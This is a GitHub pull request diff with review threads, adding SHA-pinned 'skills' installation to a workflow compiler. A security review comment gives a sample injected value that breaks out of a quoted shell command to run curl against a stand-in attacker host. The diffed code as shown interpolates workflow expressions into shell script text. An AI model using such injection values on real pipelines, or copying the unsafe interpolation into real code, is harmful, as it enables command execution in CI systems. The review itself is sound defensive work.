Skip to content
38 changes: 38 additions & 0 deletions actions/setup/js/generate_aw_info.cjs
Original file line number Diff line number Diff line change
Expand Up @@ -128,6 +128,12 @@ async function main(core, ctx) {
awInfo.features = features;
}

const skills = parseSkillsFromEnv(core);
if (skills) {
awInfo.skills = skills;
core.info(`Configured frontmatter skills (${skills.length}): ${skills.join(", ")}`);
}

// Include aw_context when the workflow was triggered by a caller that relayed
// orchestration context via workflow inputs or repository_dispatch client payload.
// Validates JSON format and structure before populating the context key in aw_info.json.
Expand Down Expand Up @@ -218,6 +224,38 @@ async function main(core, ctx) {
}
}

/**
* Parse optional skills list from GH_AW_INFO_SKILLS.
* @param {typeof import('@actions/core')} core
* @returns {string[] | null}
*/
function parseSkillsFromEnv(core) {
const skillsEnv = process.env.GH_AW_INFO_SKILLS;
if (!skillsEnv) {
return null;
}
try {
const parsed = JSON.parse(skillsEnv);
if (!Array.isArray(parsed)) {
core.warning("GH_AW_INFO_SKILLS must be a JSON array, ignoring");
return null;
}
const skills = [];
for (const [index, value] of parsed.entries()) {
if (typeof value === "string" && value.length > 0) {

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[/tdd] parseSkillsFromEnv accepts any non-empty string into aw_info.json without validating the spec format. While the Go compiler enforces the owner/repo@<40-char-sha> constraint at compile time, the env var could be set or overridden manually, and there is no test covering the warning paths (malformed JSON, non-array, non-string items).

💡 Missing tests to add in `generate_aw_info.test.cjs`
it("should warn and return null for non-array GH_AW_INFO_SKILLS", async () => {
  process.env.GH_AW_INFO_SKILLS = JSON.stringify("not-an-array");
  await main(mockCore, mockContext);
  const awInfo = JSON.parse(fs.readFileSync(awInfoPath, "utf8"));
  expect(awInfo.skills).toBeUndefined();
  expect(mockCore.warning).toHaveBeenCalledWith(expect.stringContaining("JSON array"));
});

it("should warn and skip non-string items in GH_AW_INFO_SKILLS", async () => {
  process.env.GH_AW_INFO_SKILLS = JSON.stringify([42, "valid/spec@" + "a".repeat(40)]);
  await main(mockCore, mockContext);
  expect(mockCore.warning).toHaveBeenCalledWith(expect.stringContaining("[0]"));
});

it("should warn and return null for unparseable GH_AW_INFO_SKILLS", async () => {
  process.env.GH_AW_INFO_SKILLS = "not-json";
  await main(mockCore, mockContext);
  const awInfo = JSON.parse(fs.readFileSync(awInfoPath, "utf8"));
  expect(awInfo.skills).toBeUndefined();
  expect(mockCore.warning).toHaveBeenCalledWith(expect.stringContaining("Failed to parse"));
});

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. generate_aw_info.test.cjs now covers malformed JSON, non-array payloads, and non-string items for GH_AW_INFO_SKILLS.

skills.push(value);
continue;
}
core.warning(`Ignoring invalid GH_AW_INFO_SKILLS[${index}] value: ${JSON.stringify(value)}`);
}
return skills.length > 0 ? skills : null;
} catch (err) {
const message = err instanceof Error ? err.message : String(err);
core.warning(`Failed to parse GH_AW_INFO_SKILLS: ${skillsEnv} (${message})`);
return null;
}
}

core.info("Generated aw_info.json at: " + tmpPath);
core.info(JSON.stringify(awInfo, null, 2));

Expand Down
11 changes: 11 additions & 0 deletions actions/setup/js/generate_aw_info.test.cjs
Original file line number Diff line number Diff line change
Expand Up @@ -61,6 +61,7 @@ describe("generate_aw_info.cjs", () => {
process.env.GH_AW_INFO_FRONTMATTER_EMOJI = "";
process.env.GH_AW_INFO_BODY_MODIFIED = "";
process.env.GH_AW_INFO_FEATURES = "";
process.env.GH_AW_INFO_SKILLS = "";

// Dynamic import to get fresh module state
const module = await import("./generate_aw_info.cjs");
Expand Down Expand Up @@ -117,6 +118,16 @@ describe("generate_aw_info.cjs", () => {
});
});

it("should include frontmatter skills and log them with core.info", async () => {
process.env.GH_AW_INFO_SKILLS = JSON.stringify(["githubnext/skills@1f181b37d3fe5862ab590648f25a292e345b5de6", "githubnext/skills/review/security@1f181b37d3fe5862ab590648f25a292e345b5de6"]);

await main(mockCore, mockContext);

const awInfo = JSON.parse(fs.readFileSync(awInfoPath, "utf8"));
expect(awInfo.skills).toEqual(["githubnext/skills@1f181b37d3fe5862ab590648f25a292e345b5de6", "githubnext/skills/review/security@1f181b37d3fe5862ab590648f25a292e345b5de6"]);
expect(mockCore.info).toHaveBeenCalledWith(expect.stringContaining("Configured frontmatter skills"));
});

it("should persist custom token weights in aw_info.json", async () => {
process.env.GH_AW_INFO_TOKEN_WEIGHTS = JSON.stringify({
token_class_weights: { output: 8.0 },
Expand Down
9 changes: 9 additions & 0 deletions pkg/parser/schemas/main_workflow_schema.json
Original file line number Diff line number Diff line change
Expand Up @@ -56,6 +56,15 @@
["ci", "testing"]
]
},
"skills": {
"type": "array",
"description": "Optional list of external skill references to install during activation. Supports repository-wide installs (`owner/repo@<sha>`) and path-scoped installs (`owner/repo/skill/path@<sha>`). References must always be pinned to full 40-character lowercase commit SHAs.",

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[/grill-with-docs] The description field says "References must always be pinned to full 40-character lowercase commit SHAs", but the oneOf immediately below allows two expression-based forms that bypass the SHA requirement. A user reading only the description will miss the escape hatch.

💡 Suggested wording
"description": "Optional list of external skill references to install during activation. Supports repository-wide installs (`owner/repo@<sha>`) and path-scoped installs (`owner/repo/skill/path@<sha>`). Static references must be pinned to a full 40-character lowercase commit SHA. GitHub Actions expressions (`${{ ... }}`) are also accepted and are evaluated at runtime."

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. The schema description now distinguishes static SHA-pinned refs from runtime GitHub Actions expressions.

"items": {
"type": "string",
"pattern": "^[A-Za-z0-9_.-]+\\/[A-Za-z0-9_.-]+(?:\\/[A-Za-z0-9_.-]+(?:\\/[A-Za-z0-9_.-]+)*)?@[0-9a-f]{40}$"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@copilot add support for github actions expressions

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Implemented in 54ee1ac (with the main support added in fffec7e). skills now accepts GitHub Actions expressions in schema and frontmatter validation, with tests covering expression-based refs.

},
"examples": [["githubnext/awesome-skills@1f181b37d3fe5862ab590648f25a292e345b5de6"], ["githubnext/awesome-skills/review/security@1f181b37d3fe5862ab590648f25a292e345b5de6"]]
},
"metadata": {
"type": "object",
"description": "Optional metadata field for storing custom key-value pairs compatible with the custom agent spec. Key names are limited to 64 characters, and values are limited to 1024 characters.",
Expand Down
42 changes: 42 additions & 0 deletions pkg/workflow/activation_skills_step_test.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
//go:build !integration

package workflow

import (
"strings"
"testing"

"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)

func TestBuildActivationJob_AddsFrontmatterSkillsInstallSteps(t *testing.T) {
compiler := NewCompiler(WithVersion("dev"))
compiler.SetActionMode(ActionModeDev)

data := &WorkflowData{
Name: "skills-workflow",
On: `"on":
workflow_dispatch:`,
AI: "copilot",
EngineConfig: &EngineConfig{
ID: "claude",
},
Skills: []string{
"githubnext/skills@1f181b37d3fe5862ab590648f25a292e345b5de6",
"githubnext/skills/review/security@1f181b37d3fe5862ab590648f25a292e345b5de6",
},
}

job, err := compiler.buildActivationJob(data, false, "", "skills.lock.yml")
require.NoError(t, err)
require.NotNil(t, job)

steps := strings.Join(job.Steps, "")
assert.Contains(t, steps, "Upgrade gh CLI for frontmatter skills")
assert.Contains(t, steps, "Install frontmatter skills")
assert.Contains(t, steps, "GH_AW_SKILL_DIR: \".claude/skills\"")
assert.Contains(t, steps, "gh skill install \"githubnext/skills@1f181b37d3fe5862ab590648f25a292e345b5de6\" --all --dir \"${SKILLS_DST}\" --force")
assert.Contains(t, steps, "gh skill install \"githubnext/skills/review/security@1f181b37d3fe5862ab590648f25a292e345b5de6\" --dir \"${SKILLS_DST}\" --force")
assert.Contains(t, steps, "### Frontmatter skills installed")
}

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Missing test coverage for expression-based skill specs

This test exercises SHA-pinned specs only. validateFrontmatterSkills explicitly permits two additional spec forms:

  • Whole-expression: ${{ inputs.skill_ref }}
  • Expression-ref: githubnext/skills@${{ github.sha }}

A complementary test case covering these forms would document the expected generated YAML (e.g., that whole-expression specs produce no --all flag and that expression-ref specs do) and guard against silent regressions if the generation logic changes. This is especially valuable given the existing known limitation that whole-expression specs are always treated as path-specs at compile time.

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. activation_skills_step_test.go now covers expression-based skill specs and verifies they are passed through env vars instead of being embedded directly in the shell script.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[/tdd] The test only covers the happy path (skills present). There is no test verifying that when Skills is nil or empty, addActivationSkillInstallSteps is a no-op and adds zero steps to the activation job. This is the default path for the vast majority of workflows.

💡 Suggested test to add
func TestBuildActivationJob_NoSkillsStepsWhenSkillsAbsent(t *testing.T) {
    compiler := NewCompiler(WithVersion("dev"))
    compiler.SetActionMode(ActionModeDev)

    data := &WorkflowData{
        Name: "no-skills-workflow",
        On:   `"on":\n  workflow_dispatch:`,
        AI:   "copilot",
    }

    job, err := compiler.buildActivationJob(data, false, "", "no-skills.lock.yml")
    require.NoError(t, err)
    require.NotNil(t, job)

    steps := strings.Join(job.Steps, "")
    assert.NotContains(t, steps, "Upgrade gh CLI for frontmatter skills")
    assert.NotContains(t, steps, "Install frontmatter skills")
}

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. Added a no-skills activation test to verify the default path does not emit the frontmatter skill install steps.

1 change: 1 addition & 0 deletions pkg/workflow/compiler_activation_job.go
Original file line number Diff line number Diff line change
Expand Up @@ -41,6 +41,7 @@ func (c *Compiler) buildActivationJob(data *WorkflowData, preActivationJobCreate
if err := c.addActivationRepositoryAndOutputSteps(ctx); err != nil {
return nil, fmt.Errorf("failed to add activation repository and output steps: %w", err)
}
c.addActivationSkillInstallSteps(ctx)
if err := c.addActivationCommandAndLabelOutputs(ctx); err != nil {
return nil, fmt.Errorf("failed to add activation command and label outputs: %w", err)
}
Expand Down
78 changes: 72 additions & 6 deletions pkg/workflow/compiler_activation_job_builder.go
Original file line number Diff line number Diff line change
Expand Up @@ -519,6 +519,68 @@ func (c *Compiler) addActivationVersionCheckStep(ctx *activationJobBuildContext)
ctx.steps = append(ctx.steps, generateGitHubScriptWithRequire("check_version_updates.cjs"))
}

func (c *Compiler) addActivationSkillInstallSteps(ctx *activationJobBuildContext) {
if len(ctx.data.Skills) == 0 {
return
}

engineID := ""
if ctx.data.EngineConfig != nil {
engineID = ctx.data.EngineConfig.ID
}
skillDir := GetEngineSkillDir(engineID)
skillSpecsJSON, err := json.Marshal(ctx.data.Skills)
if err != nil {
compilerActivationJobLog.Printf("Failed to marshal skills list for activation job: %v", err)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[/codebase-design] addActivationSkillInstallSteps silently swallows the json.Marshal error and returns void, leaving the activation job without any skill-install steps and no observable signal to the caller or tests.

Every sibling addActivation* method returns error. Breaking that invariant here makes silent failures untestable.

💡 Suggested fix

Change the signature to return error:

func (c *Compiler) addActivationSkillInstallSteps(ctx *activationJobBuildContext) error {
    if len(ctx.data.Skills) == 0 {
        return nil
    }
    skillSpecsJSON, err := json.Marshal(ctx.data.Skills)
    if err != nil {
        return fmt.Errorf("failed to marshal skills list for activation job: %w", err)
    }
    // ... rest of the function ...
    return nil
}

Then in compiler_activation_job.go, mirror the pattern of surrounding steps:

if err := c.addActivationSkillInstallSteps(ctx); err != nil {
    return nil, fmt.Errorf("failed to add skill install steps: %w", err)
}

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. addActivationSkillInstallSteps now returns an error, and buildActivationJob propagates failures instead of silently dropping the install steps.

return
}
escapedSkillSpecsJSON := strings.ReplaceAll(string(skillSpecsJSON), "'", "''")

ctx.steps = append(ctx.steps, " - name: Upgrade gh CLI for frontmatter skills\n")
ctx.steps = append(ctx.steps, " run: |\n")
ctx.steps = append(ctx.steps, " set -euo pipefail\n")
ctx.steps = append(ctx.steps, " bash \"${RUNNER_TEMP}/gh-aw/actions/install_gh_cli.sh\"\n")
ctx.steps = append(ctx.steps, " GH_VERSION=$(gh --version | awk 'NR==1 {print $3}')\n")
ctx.steps = append(ctx.steps, " REQUIRED=\"2.90.0\"\n")
ctx.steps = append(ctx.steps, " echo \"gh version: ${GH_VERSION}\"\n")
ctx.steps = append(ctx.steps, " if ! printf '%s\\n%s\\n' \"$REQUIRED\" \"$GH_VERSION\" | sort -V -C; then\n")
ctx.steps = append(ctx.steps, " echo \"::error::gh ${GH_VERSION} is older than required ${REQUIRED} (gh skill support requires v2.90+)\"\n")
ctx.steps = append(ctx.steps, " exit 1\n")
ctx.steps = append(ctx.steps, " fi\n")

ctx.steps = append(ctx.steps, " - name: Install frontmatter skills\n")
ctx.steps = append(ctx.steps, " env:\n")
ctx.steps = append(ctx.steps, fmt.Sprintf(" GH_TOKEN: %s\n", c.resolveActivationToken(ctx.data)))
ctx.steps = append(ctx.steps, fmt.Sprintf(" GH_AW_SKILL_DIR: %q\n", skillDir))
ctx.steps = append(ctx.steps, fmt.Sprintf(" GH_AW_SKILLS: '%s'\n", escapedSkillSpecsJSON))

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[/improve-codebase-architecture] GH_AW_SKILLS is passed as a step env var but is only used in the step summary output (line 578). The actual install loop is unrolled at compile time in Go (lines 562–569), so this env var does not drive install logic at runtime.

This creates a subtle misleading signal: an operator reading the YAML might think GH_AW_SKILLS controls which skills are installed, but modifying it at runtime would have no effect. Consider renaming to something that signals its read-only/informational nature (e.g., GH_AW_SKILLS_LOG or GH_AW_SKILLS_SUMMARY) or adding a comment in the generated YAML.

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. I renamed the informational env var to GH_AW_SKILLS_SUMMARY so it no longer looks like the runtime source of truth for installation.

ctx.steps = append(ctx.steps, " run: |\n")
ctx.steps = append(ctx.steps, " set -euo pipefail\n")
ctx.steps = append(ctx.steps, " SKILLS_DST=\"/tmp/gh-aw/${GH_AW_SKILL_DIR}\"\n")
ctx.steps = append(ctx.steps, " mkdir -p \"${SKILLS_DST}\"\n")
ctx.steps = append(ctx.steps, " echo \"Installing frontmatter skills to ${SKILLS_DST}\"\n")
ctx.steps = append(ctx.steps, " echo \"Existing skills at destination may be replaced (--force) to ensure pinned refs are up to date\"\n")
for _, skillSpec := range ctx.data.Skills {
ctx.steps = append(ctx.steps, fmt.Sprintf(" echo \"Installing skill reference: %s\"\n", skillSpec))

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security: shell injection risk for expression-based skill specs

The echo line uses %s (no additional quoting), and the gh skill install lines use Go %q — but in both cases the shell injection concern is the same: the ${{ inputs.skill_ref }}-style expression is embedded literally in the run: script. GitHub Actions resolves the expression before the shell executes the script, so a malicious input value (e.g. legit/spec@sha"; curl attacker.com; echo ") can break shell command boundaries.

The GitHub Actions security recommendation is to pass user-controlled inputs through env variables, not directly in run: blocks:

env:
  SKILL_SPEC: ${{ inputs.skill_ref }}
run: |
  echo "Installing skill reference: ${SKILL_SPEC}"
  gh skill install "${SKILL_SPEC}" --dir "${SKILLS_DST}" --force

Since each spec is known at compile time, you could instead write all resolved specs into GH_AW_SKILLS (already done as JSON) and loop over them in the shell using jq or a heredoc, keeping every user-controlled value exclusively in env vars and never interpolated directly into the script text.

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7 (with a follow-up note in 0a451d9). Activation now passes each skill spec through step env vars and installs from quoted shell variables, so expression-based refs are no longer interpolated directly into the run: script.

if isRepositorySkillSpec(skillSpec) {
ctx.steps = append(ctx.steps, fmt.Sprintf(" gh skill install %q --all --dir \"${SKILLS_DST}\" --force\n", skillSpec))
continue
}
ctx.steps = append(ctx.steps, fmt.Sprintf(" gh skill install %q --dir \"${SKILLS_DST}\" --force\n", skillSpec))
}
ctx.steps = append(ctx.steps, " SKILL_COUNT=$(find \"${SKILLS_DST}\" -name \"SKILL.md\" | wc -l | tr -d '[:space:]')\n")
ctx.steps = append(ctx.steps, " echo \"Installed ${SKILL_COUNT} skill file(s)\"\n")
ctx.steps = append(ctx.steps, " core_summary_path=\"${GITHUB_STEP_SUMMARY:-}\"\n")
ctx.steps = append(ctx.steps, " if [ -n \"${core_summary_path}\" ]; then\n")
ctx.steps = append(ctx.steps, " {\n")
ctx.steps = append(ctx.steps, " echo \"### Frontmatter skills installed\"\n")
ctx.steps = append(ctx.steps, " echo \"\"\n")
ctx.steps = append(ctx.steps, " echo \"- Engine skill directory: \\`${GH_AW_SKILL_DIR}\\`\"\n")
ctx.steps = append(ctx.steps, " echo \"- Requested references: \\`${GH_AW_SKILLS}\\`\"\n")
ctx.steps = append(ctx.steps, " echo \"- Installed SKILL.md files: ${SKILL_COUNT}\"\n")
ctx.steps = append(ctx.steps, " } >> \"${core_summary_path}\"\n")
ctx.steps = append(ctx.steps, " fi\n")
}

func (c *Compiler) addActivationTextOutputStep(ctx *activationJobBuildContext) error {
if !ctx.data.NeedsTextOutput {
return nil
Expand Down Expand Up @@ -766,15 +828,19 @@ func (c *Compiler) addActivationArtifactUploadStep(ctx *activationJobBuildContex
ctx.steps = append(ctx.steps, " /tmp/gh-aw/aw-prompts/prompt-import-tree.json\n")
ctx.steps = append(ctx.steps, " /tmp/gh-aw/"+constants.GithubRateLimitsFilename+"\n")
ctx.steps = append(ctx.steps, " /tmp/gh-aw/base\n")
// Include the engine-specific sub-agents staging directory (inline sub-agents are enabled by default).
engineID := ""
if ctx.data.EngineConfig != nil {
engineID = ctx.data.EngineConfig.ID
}
// Include the engine-specific sub-agent staging directory only when inline agents are enabled.
if isFeatureEnabled(constants.FeatureFlag("inline-agents"), ctx.data) {
engineID := ""
if ctx.data.EngineConfig != nil {
engineID = ctx.data.EngineConfig.ID
}
subAgentDir := GetEngineSubAgentDir(engineID)
skillDir := GetEngineSkillDir(engineID)
ctx.steps = append(ctx.steps, fmt.Sprintf(" /tmp/gh-aw/%s\n", subAgentDir))
}
// Always include the engine-specific skill directory when either inline skills are enabled
// or frontmatter skills are configured.
if isFeatureEnabled(constants.FeatureFlag("inline-agents"), ctx.data) || len(ctx.data.Skills) > 0 {
skillDir := GetEngineSkillDir(engineID)
ctx.steps = append(ctx.steps, fmt.Sprintf(" /tmp/gh-aw/%s\n", skillDir))
}
ctx.steps = append(ctx.steps, " if-no-files-found: ignore\n")
Expand Down
4 changes: 4 additions & 0 deletions pkg/workflow/compiler_orchestrator_frontmatter.go
Original file line number Diff line number Diff line change
Expand Up @@ -184,6 +184,10 @@ func (c *Compiler) parseFrontmatterSection(markdownPath string) (*frontmatterPar
orchestratorFrontmatterLog.Printf("Main workflow frontmatter validation failed: %v", err)
return nil, err
}
if err := validateFrontmatterSkills(frontmatterForValidation); err != nil {
orchestratorFrontmatterLog.Printf("Skills frontmatter validation failed: %v", err)
return nil, err
}

// Validate event filter mutual exclusivity (branches/branches-ignore, paths/paths-ignore)
if err := ValidateEventFilters(frontmatterForValidation); err != nil {
Expand Down
28 changes: 28 additions & 0 deletions pkg/workflow/compiler_orchestrator_frontmatter_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@ package workflow
import (
"os"
"path/filepath"
"strings"
"testing"

"github.com/github/gh-aw/pkg/testutil"
Expand Down Expand Up @@ -265,6 +266,33 @@ engine: copilot
}
}

func TestParseFrontmatterSection_InvalidSkillsRef(t *testing.T) {
tmpDir := testutil.TempDir(t, "frontmatter-invalid-skills-ref")

testContent := `---
on: workflow_dispatch
engine: copilot
skills:
- githubnext/skills@main
---

# Workflow
`

testFile := filepath.Join(tmpDir, "invalid-skills.md")
require.NoError(t, os.WriteFile(testFile, []byte(testContent), 0644))

compiler := NewCompiler()
result, err := compiler.parseFrontmatterSection(testFile)

require.Error(t, err)
assert.Nil(t, result)
assert.True(t,
strings.Contains(err.Error(), "40-char-sha") || strings.Contains(err.Error(), "does not match pattern"),
"expected skills validation error, got: %v", err,
)
}

// TestParseFrontmatterSection_FileReadError tests file I/O error handling
func TestParseFrontmatterSection_FileReadError(t *testing.T) {
compiler := NewCompiler()
Expand Down
1 change: 1 addition & 0 deletions pkg/workflow/compiler_types.go
Original file line number Diff line number Diff line change
Expand Up @@ -480,6 +480,7 @@ type WorkflowData struct {
TrackerID string // optional tracker identifier for created assets (min 8 chars, alphanumeric + hyphens/underscores)
MaxDailyAICredits *string // optional 24-hour per-workflow ET threshold (numeric string or GitHub Actions expression)
ImportedFiles []string // list of files imported via imports field (rendered as comment in lock file)
Skills []string // skill specs from frontmatter (owner/repo@sha or owner/repo/skill/path@sha)
ImportedMarkdown string // Only imports WITH inputs (for compile-time substitution)
ImportPaths []string // Import file paths for runtime-import macro generation (imports without inputs)
PromptImports []parser.PromptImportEntry
Expand Down
6 changes: 6 additions & 0 deletions pkg/workflow/compiler_yaml.go
Original file line number Diff line number Diff line change
Expand Up @@ -965,6 +965,12 @@ func (c *Compiler) generateCreateAwInfo(yaml *strings.Builder, data *WorkflowDat
fmt.Fprintf(yaml, " GH_AW_INFO_FEATURES: '%s'\n", escapedFeaturesJSON)
}
}
if len(data.Skills) > 0 {
if skillsJSON, err := json.Marshal(data.Skills); err == nil {

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[/diagnosing-bugs] When json.Marshal fails here, GH_AW_INFO_SKILLS is silently omitted with no log or warning. The engine would start with no skills loaded, and the operator would have no indication why.

The features block three lines above follows the exact same pattern — consider at least adding a core.warning (or in Go, a log.Printf) in the else branch to surface this at runtime.

💡 Suggested fix
if len(data.Skills) > 0 {
    if skillsJSON, err := json.Marshal(data.Skills); err == nil {
        escapedSkillsJSON := strings.ReplaceAll(string(skillsJSON), "'", "''")
        fmt.Fprintf(yaml, "          GH_AW_INFO_SKILLS: '%s'\n", escapedSkillsJSON)
    } else {
        compilerYAMLLog.Printf("Failed to marshal skills for GH_AW_INFO_SKILLS, engine will not receive skill list: %v", err)
    }
}

@copilot please address this.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in a1e89b7. compiler_yaml.go now logs a warning when GH_AW_INFO_SKILLS cannot be marshaled instead of failing silently.

escapedSkillsJSON := strings.ReplaceAll(string(skillsJSON), "'", "''")
fmt.Fprintf(yaml, " GH_AW_INFO_SKILLS: '%s'\n", escapedSkillsJSON)
}
}
fmt.Fprintf(yaml, " uses: %s\n", getCachedActionPin("actions/github-script", data))
yaml.WriteString(" with:\n")
yaml.WriteString(" script: |\n")
Expand Down
4 changes: 4 additions & 0 deletions pkg/workflow/compiler_yaml_main_job.go
Original file line number Diff line number Diff line change
Expand Up @@ -437,6 +437,10 @@ func (c *Compiler) generateEngineInstallAndPreAgentSteps(yaml *strings.Builder,
// is not clobbered. Inline sub-agents are enabled by default.
if isFeatureEnabled(constants.FeatureFlag("inline-agents"), data) {
generateRestoreInlineSubAgentsStep(yaml, data)
}
// Restore the engine-specific skills directory when inline skills are enabled or when
// explicit frontmatter skills were installed during activation.
if isFeatureEnabled(constants.FeatureFlag("inline-agents"), data) || len(data.Skills) > 0 {
generateRestoreInlineSkillsStep(yaml, data)
}

Expand Down
1 change: 1 addition & 0 deletions pkg/workflow/frontmatter_types.go
Original file line number Diff line number Diff line change
Expand Up @@ -321,6 +321,7 @@ type FrontmatterConfig struct {
Strict *bool `json:"strict,omitempty"` // Pointer to distinguish unset from false
Private *bool `json:"private,omitempty"` // If true, workflow cannot be added to other repositories
Labels []string `json:"labels,omitempty"`
Skills []string `json:"skills,omitempty"`

// Configuration sections - using strongly-typed structs
Tools *ToolsConfig `json:"tools,omitempty"`
Expand Down
19 changes: 19 additions & 0 deletions pkg/workflow/frontmatter_types_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -55,6 +55,25 @@ func TestParseFrontmatterConfig(t *testing.T) {
}
})

t.Run("parses skills array", func(t *testing.T) {
frontmatter := map[string]any{
"skills": []any{
"githubnext/skills@1f181b37d3fe5862ab590648f25a292e345b5de6",
"githubnext/skills/review/security@1f181b37d3fe5862ab590648f25a292e345b5de6",
},
}

config, err := ParseFrontmatterConfig(frontmatter)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}

require.Equal(t, []string{
"githubnext/skills@1f181b37d3fe5862ab590648f25a292e345b5de6",
"githubnext/skills/review/security@1f181b37d3fe5862ab590648f25a292e345b5de6",
}, config.Skills)
})

t.Run("parses complete workflow config", func(t *testing.T) {
frontmatter := map[string]any{
"name": "full-workflow",
Expand Down
Loading
Loading